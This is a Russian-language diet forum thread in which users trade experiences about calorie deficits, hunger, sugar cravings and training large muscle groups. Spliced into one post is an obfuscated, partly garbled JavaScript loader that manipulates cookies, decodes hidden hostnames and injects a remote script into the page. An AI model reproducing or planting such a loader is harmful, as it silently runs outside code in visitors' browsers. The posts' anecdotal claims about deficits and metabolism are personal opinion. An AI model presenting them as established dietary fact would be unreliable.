`Как бы сделать так, чтоб тратилось больше чем наедалось...?`))

Пару раз со мной случалось подобное, первый раз когда ушло 7 кг , Так хотелось есть, ужас три дня перетерпела забивала себя белком начиная с завтрака яйца,курицу и т д по кал не превышала практически, потом было все нормально и недавно, когда стало -11 сделала так же. Думаю, что организм так хочет вернуть утрачченное !

Кушайте больше. Но и двигайтесь больше. Дефицит-то калорий можно по разному набирать.

Тренируйте те мышцы, которые больше всего сжигают калорий.

Может себя занимать чем-то. Когда мы заняты делом, о еде и думать некогда. А потом подумайте,  сколько калорий вы съедите и как это потом будет на боках смотреться. )

А мне сегодня вообще есть не хочется, один чаек пью. Вчера до огурчиков соленых дорвалсь! Вкусняшки!window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Дарья Кондратьева, Тренировки у меня разнообразные и ежедневные. Насколько я помню наиболее энергозатратные тренировки, это когда основная нагрузка происходит на ноги!?

Людмилка, Я по весу топчусь на одном месте(( хотя дефицит стараюсь поддерживать...Уже не знаю что делать, но у меня маниакальная потребность в углеводах и причем в быстрых!(( 

Ирина Мир, в основном, на ягодицы, бедра (квадрицепс). Но не только - на любые большие мышцы. В спине, груди, пресса,например ))) Но эти много потребляют энергии только в уже хорошо тренированном теле, т.е. когда мышцы уже выросли и окрепли. А бедра и попа - даже у нетренированного будут сжигать калории.

Ирина Мир, может у вас маленький вес поэтому трудно сбрасывать! Мой дефицит когда вместе с тренировками от 700 до 1000 ккал

Может у вас нет сильного избытка веса, тогда нужно дефицит сделать поменьше, 250-300 ккал в день. Делать дни без дефицита и полностью доедать до нормы, сколько потратили столько и съели. Например дней 5 в дефиците, потом отдых. Может не хватает вам сложных углеводов. У меня тяга к сладкому убивается на прочь, когда употребляю в день 2 порции каши, примерно 100 г в сухом виде каши за 2 приема.

Согласен с предыдущим оратором, каша даёт достаточно углей, потом даже в чай сахар не добавляю, только у меня получается в день где-то 200 гр. в сухом виде (600 в варёном) каши. В перекусах, если есть творог, добавляю ложечку сахара, но не для углей, а просто чтоб вкуснее было )))

та же фигня, как стало холодать организм требует всего и побольше.

Людмилка, Мой вес 61-59 при росте 167. Я понимаю, что избытка веса (по расчетным показателям) у меня нет, но важны ведь личные ощущения и комфорт. А мне комфортно в весе 53 кг! Но при дефиците 500-300 ккал вес не уходит.
Т.е как я поняла, чтобы вес и объемы стали уходить мне нужен дефицит в 700-1000ккал???????

Татьяна Жуковская, Что-то я запуталась!)))))) Какой все-таки дефицит нужен! А как же теория о том, что....держим -700ккал ежедневно в течении недели - теряем 700гр в неделю! Так если я дефицит не буду держать совсем, тогда и вес останется неизменным. Или я совсем тогда ни чего не понимаю!))))))
А с кашами надо попробовать, спасибо!))

Azog Half-Orc, вот точно, мерзну и хочется сладкого.. хотя обычно вполне прекрасно без него справляюсь... видно организм углеводов на согрев требует

Ирина Мир, 

Ирина Мир написал:
Какой все-таки дефицит нужен!

понаблюдайте за своим организмом, у всех же он разный. У меня вот пока держу дефицит и вес держится, как только начинаю прибавлять калорийность (калорий на 200) вес начинает уходить, но до определенного предела,потом снова - дефицит - стоит, повышаю- уходит. Вот и живу: неделя дефицит (300-500)стоит, неделя дефицит(150-200) немного снижается, пару недель на удержании, потом снова дефицит(300-500). 

Ирина Мир, у меня почти такой же рост 167-168 см вес колеблется 55 кг летом, 56 зимой, уходит тоже с боем. Согласна, помню бывали времена (2 раза за жизнь), когда я весила в школе 63 кг, и после болезни 60,5кг, это очень некомфортно, особенно при достаточно легких костях при этом!!!! Я вас понимаю. Я вот тоже никак не могу осенью зимой быть стабильно 55 кг. Будто организм сам не хочет, но по моим наблюдениям над собой на больших дефицитах вес уходит хуже, чем на маленьких. Сами посудите, физ.нагрузки плюс недоедание до суточной потребности, чтобы создать такой дефицит -700 ккал, в итоге организму на все процессы жизнедеятельности остается совсем ничего!!! может 1000, а то и гораздо меньше калорий. ДОпустим съели на 1500 ккал за день, потратили на тренировке 350 ккал, организму осталось всего 1150 ккал, что ниже даже базового метаболизма!! У организма стресс, он никогда не будет расставаться с запасами, перестроит гормональный фон так, чтобы процессы жиросжигания тормознулись. Я когда с 60 кг худела, ела 1650-1750 ккал при этом занималась физически, и вес лишний очень быстро тогда ушел. Поэтому в процессе похудения у меня дефицит в среднем 250-300 ккал за день. И уходит вес по-тихоньку, пока не сорвусь на сладкое конечно

Ирина Мир написал:
держим -700ккал ежедневно в течении недели - теряем 700гр в неделю! Так если я дефицит не буду держать совсем, тогда и вес останется неизменным. Или я совсем тогда ни чего не понимаю!))))))

У меня вот вес нормальный, уходит с боем))) В день дефицит 400 калорий, в выходные ухожу в ноль, не специально, но жизнь способствует. В неделю уходит 300 грамм, при таком весе, когда он уже нормален по нормам - это прилично, особенно учитывая стабильность отвесов в неделю.

Ирина Мир, у меня вес большой поэтому наверное он уходит при таком большом дефиците , зато в день я могу съесть не больше 1200 ккал.

Это все сидит в голове, вы воспринимаете подсчет калорий как диету, как ограничения, а это не правильно. Для организма это стресс, для вас тоже, вы постоянно думаете о еде, потому что считаете, что вам то нельзя, это нельзя. А это не так, все можно. В этом и состоит прелесть МРЗ. ВСЕ МОЖНО! И торты, и пирожные, только маленькими порциями. Со временем вы научитесь наедаться и ими. Поверьте. Я теперь могу выпить бокал чая с одной маленькой карамелькой и ее сладости мне хватает, чтобы утолить голод сладкого. А до МРЗ я на бокал чая съедала 7-10 таких карамелек. Главное, честно считать, что едите и сколько, потом вы сами для с легкостью откажетесь от чего-то, когда поймете, сколько это калорий и чем это можно заменить. Главное - не говорите себе нельзя, тем самым вы взываете негативную реакцию организма. 

Мы белые и пушистые, Спасибо за совет!)) Попробую Ваш вариант! А иначе я не знаю уже что делать....Боюсь, что если не найду СВОЕГО верного пути, совсем руки опустятся(((

Tessa Wood, Да уж, выходные для меня тоже проходят в ноль или даже в плюс((( Всю неделю держу минус (стараюсь очень), а в выходные...упс(( 

Krakozyaka, Уверена, что именно настраивание организма на диетическое питание, вызывает у меня дикий аппетит и постоянное желание жевать что-нибудь. Надеюсь, что Ваш совет подействует на меня и я наконец-то начну движение в верном направлении!))))) Уж очень хочется этого!))